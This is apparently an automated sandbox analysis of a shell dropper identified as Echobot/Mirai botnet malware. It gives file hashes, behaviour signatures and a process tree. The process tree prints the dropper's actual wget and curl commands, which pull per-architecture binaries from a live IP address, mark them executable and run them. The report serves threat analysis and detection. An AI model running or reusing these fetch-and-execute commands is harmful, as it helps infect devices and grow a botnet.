Overview

overview

10

Static

static

1

8UsA.sh

ubuntu-18.04-amd64

10

8UsA.sh

debian-9-armhf

10

8UsA.sh

debian-9-mips

10

8UsA.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    122s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22-11-2024 18:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    8UsA.sh

  • Size

    1KB

  • MD5

    513641f5f60d55559c2060489de6d605

  • SHA1

    c95feec2255732b60d434b0639b88a5cff205ea0

  • SHA256

    1100eaedb376144012b559268f7ee73e8bfe32e9fc79072c193d1560fbbe34dd

  • SHA512

    71ee20fe10e58b1d9a0e0e5268ba264e35e15e3a5190cfdf5950245579fbbdabd9aef7dc11e9398e0df8add1afb1400a0134911b6ebb9deb937b578fc52775e0

Score
10/10
echobotmiraibotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detected Echobot 2 IoCs
  • Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

    botnettrojanechobot
  • Echobot family
    echobot
  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (171856) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 18 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 9 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Changes its process name 9 IoCs
  • Reads system network configuration 1 TTPs 9 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/8UsA.sh
    /tmp/8UsA.sh
    1⤵
    • Writes file to tmp directory
    PID:716
    • /usr/bin/wget
      wget http://89.22.230.162/bins/UnHAnaAW.x86
      2⤵
      • Writes file to tmp directory
      PID:719
    • /usr/bin/curl
      curl -O http://89.22.230.162/bins/UnHAnaAW.x86
      2⤵
      • Writes file to tmp directory
      PID:736
    • /bin/cat
      cat UnHAnaAW.x86
      2⤵
        PID:745
      • /bin/chmod
        chmod +x 3AvA 8UsA.sh systemd-private-ce23345392e24b8a904cde81b8d5bf52-systemd-timedated.service-xxbZN4 UnHAnaAW.x86
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/3AvA
        ./3AvA x86
        2⤵
        • Executes dropped EXE
        PID:747
      • /usr/bin/wget
        wget http://89.22.230.162/bins/UnHAnaAW.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:749
      • /usr/bin/curl
        curl -O http://89.22.230.162/bins/UnHAnaAW.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:751
      • /bin/cat
        cat UnHAnaAW.mips
        2⤵
        • System Network Configuration Discovery
        PID:752
      • /bin/chmod
        chmod +x 3AvA 8UsA.sh systemd-private-ce23345392e24b8a904cde81b8d5bf52-systemd-timedated.service-xxbZN4 UnHAnaAW.mips UnHAnaAW.x86
        2⤵
        • File and Directory Permissions Modification
        PID:753
      • /tmp/3AvA
        ./3AvA mips
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        PID:754
      • /usr/bin/wget
        wget http://89.22.230.162/bins/UnHAnaAW.mpsl
        2⤵
        • Writes file to tmp directory
        PID:760
      • /usr/bin/curl
        curl -O http://89.22.230.162/bins/UnHAnaAW.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:765
      • /bin/chmod
        chmod +x 3AvA 8UsA.sh systemd-private-ce23345392e24b8a904cde81b8d5bf52-systemd-timedated.service-xxbZN4 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
        2⤵
        • File and Directory Permissions Modification
        PID:769
      • /tmp/3AvA
        ./3AvA mpsl
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:770
      • /usr/bin/wget
        wget http://89.22.230.162/bins/UnHAnaAW.arm4
        2⤵
          PID:828
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.arm4
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:836
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh systemd-private-ce23345392e24b8a904cde81b8d5bf52-systemd-timedated.service-xxbZN4 UnHAnaAW.arm4 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:852
        • /tmp/3AvA
          ./3AvA arm4
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:853
        • /usr/bin/wget
          wget http://89.22.230.162/bins/UnHAnaAW.arm5
          2⤵
          • Writes file to tmp directory
          PID:863
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.arm5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:870
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh systemd-private-ce23345392e24b8a904cde81b8d5bf52-systemd-timedated.service-xxbZN4 UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:872
        • /tmp/3AvA
          ./3AvA arm5
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:876
        • /usr/bin/wget
          wget http://89.22.230.162/bins/UnHAnaAW.arm6
          2⤵
          • Writes file to tmp directory
          PID:880
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.arm6
          2⤵
          • Writes file to tmp directory
          PID:887
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:889
        • /tmp/3AvA
          ./3AvA arm6
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:890
        • /usr/bin/wget
          wget http://89.22.230.162/bins/UnHAnaAW.arm7
          2⤵
          • Writes file to tmp directory
          PID:894
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.arm7
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:901
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:903
        • /tmp/3AvA
          ./3AvA arm7
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:904
        • /usr/bin/wget
          wget http://89.22.230.162/bins/UnHAnaAW.ppc
          2⤵
          • Writes file to tmp directory
          PID:908
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.ppc
          2⤵
          • Writes file to tmp directory
          PID:915
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:917
        • /tmp/3AvA
          ./3AvA ppc
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:918
        • /usr/bin/wget
          wget http://89.22.230.162/bins/UnHAnaAW.m68k
          2⤵
          • Writes file to tmp directory
          PID:922
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.m68k
          2⤵
          • Writes file to tmp directory
          PID:929
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.m68k UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:931
        • /tmp/3AvA
          ./3AvA m68k
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:932
        • /usr/bin/wget
          wget http://89.22.230.162/bins/UnHAnaAW.sh4
          2⤵
          • Writes file to tmp directory
          PID:936
        • /usr/bin/curl
          curl -O http://89.22.230.162/bins/UnHAnaAW.sh4
          2⤵
          • Writes file to tmp directory
          PID:943
        • /bin/chmod
          chmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.arm6 UnHAnaAW.arm7 UnHAnaAW.m68k UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.ppc UnHAnaAW.sh4 UnHAnaAW.x86
          2⤵
          • File and Directory Permissions Modification
          PID:945
        • /tmp/3AvA
          ./3AvA sh4
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:946

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • /tmp/3AvA
        Filesize

        98KB

        MD5

        1bfd79e3eb8d1d5806b78c2ee800ccbe

        SHA1

        8c7d5fb0ffe8c51e83cfe644a961d3b2bedb5e83

        SHA256

        186fc8b8165ee76f730ea3b840c59473597282c472529c9b2716baab011787da

        SHA512

        ade41301de6fdcbd940dd4a2cd7634ffd13dfb4f24c7b2e9b3e25aae7d3a7b1dce4817eada98e628d591cf8fcd1106d5292bee05ba3bcd6b6cc502135409bc0b

        Download Submit

      • /tmp/UnHAnaAW.x86
        Filesize

        69KB

        MD5

        4a5306ed50853b2ce31d13763bde2cd3

        SHA1

        12a84067a5b8ff314e005365faadd34d47ce0619

        SHA256

        81d46cb68a82a4f80f26f017a9e988acd67811fb5b461df2546a23ccc5f6a05d

        SHA512

        b9732bdbe82f34591e5e21b45f80fa7f465932aa6a6f07fd3389a866b0a94b39bd59d4f298fdd896e9b9a601bd4d72494338b1a5817d558ba3b6d2ed1d43e081

        Download Submit